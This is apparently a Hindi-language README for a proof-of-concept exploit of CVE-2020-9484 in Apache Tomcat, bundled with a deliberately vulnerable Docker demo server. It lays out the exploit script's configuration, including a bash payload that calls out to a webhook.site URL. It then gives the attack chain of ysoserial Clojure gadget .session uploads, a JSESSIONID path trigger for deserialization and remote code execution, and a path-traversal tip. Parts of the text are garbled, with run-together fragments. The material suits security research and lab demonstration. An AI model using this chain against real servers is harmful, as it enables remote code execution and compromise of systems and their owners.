
CVE-2020-9484 के लिए PoC शोषण, और इसके प्रदर्शन के लिए एक कमजोर वेब एप्लिकेशन
इस रिपॉजिटरी में CVE-2020-9484 के लिए एक प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट है, साथ ही एक उदाहरण वेब सर्वर है जो इस एक्सप्लॉइट के प्रति संवेदनशील है।
प्रभावित टॉमकैट संस्करण हैं:
PersistentManager सक्षम है और यह FileStore का उपयोग कर रहा है।.session फ़ाइलें) पर नियंत्रण रखता है, और यह जानता है कि इसे कहाँ अपलोड किया गया है।clojure या commons-collections) जिनका उपयोग जावा डिसीरियलाइज़ेशन हमले के लिए किया जा सकता है।उदाहरण सेवा एक वेब सर्वर है जिसमें दो पेज हैं, /index.jsp (या सिर्फ ) और । यह उपयोगकर्ता को फ़ाइलें अपलोड और डाउनलोड करने की अनुमति देता है (वर्तमान सत्र के लिए विशिष्ट), प्रभावी रूप से फ़ाइल संग्रहण के रूप में कार्य करता है।
//list.jsp/upload पर POST अनुरोधों का समर्थन करता है, और उपयोगकर्ता को फ़ाइल नाम चुनने की अनुमति देता है। इससे .session एक्सटेंशन वाली फ़ाइलें अपलोड करना संभव हो जाता है। यह भी ज्ञात है कि सर्वर फ़ाइलों को निर्देशिका /var/tmp/uploads में संग्रहीत करता है।FileStore का उपयोग करके PersistentManager सक्षम किया गया है। (देखें context.xml)clojure:1.8.0 है, इस प्रकार डिसीरियलाइज़ेशन हमले को सुगम बनाता है। (देखें pom.xml)उदाहरण संवेदनशील सेवा स्थापित करने के लिए:
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat
सेवा अब http://localhost:8085/POC_CVE-2020-9484/ पर चालू और चल रही होनी चाहिए।
अब exploit.py की शुरुआत में कॉन्फ़िगरेशन वेरिएबल्स को समायोजित करें। PAYLOAD, यहां एक शेल स्क्रिप्ट, कोई भी फ़ाइल हो सकती है जिसे सर्वर द्वारा निष्पादित किया जा सकता है।
UPLOAD_URL = 'http://localhost:8085/POC_CVE-2020-9484/upload' # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD = 'file' # as in the upload page's html form
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/' # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD = '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE = "Clojure" # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage
अब exploit.py चलाएँ। यह निम्नलिखित क्रियाएँ करता है:
.session फ़ाइलों के रूप में) उत्पन्न करता है, जो अंततः सर्वर पर डिसीरियलाइज़ हो जाएंगे:
PAYLOAD फ़ाइल को निष्पादन योग्य अनुमति देने के लिए।PAYLOAD फ़ाइल को निष्पादित करने के लिए।PAYLOAD को एक फ़ाइल के रूप में सर्वर पर अपलोड करता है।.session फ़ाइलों को सर्वर पर अपलोड करता है।JSESSIONID कुकी के साथ एक अनुरोध ट्रिगर करता है, जो पहले अपलोड की गई .sesssion फ़ाइलों का पथ है, जो सर्वर के सत्र संग्रहण के सापेक्ष है, इस प्रकार सर्वर पर उनके डिसीरियलाइज़ेशन और उसके बाद पेलोड के निष्पादन को ट्रिगर करता है।/path/to/uploads/base/directory/<JSESSIONID कुकी का मान>/uploads/filename प्रारूप के पथ में संग्रहीत करते हैं। ऐसे मामले में, फ़ाइल अपलोड POST अनुरोध के साथ ../../../../tmp प्रारूप के JSESSIONID का उपयोग करना (ऊपर exploit.py में उपयोग किए गए "1337"*8 जैसे मनमाने मान के बजाय) संभावित रूप से यह निर्धारित करने में सहायक हो सकता है कि अपलोड की गई फ़ाइल सर्वर पर कहाँ संग्रहीत है।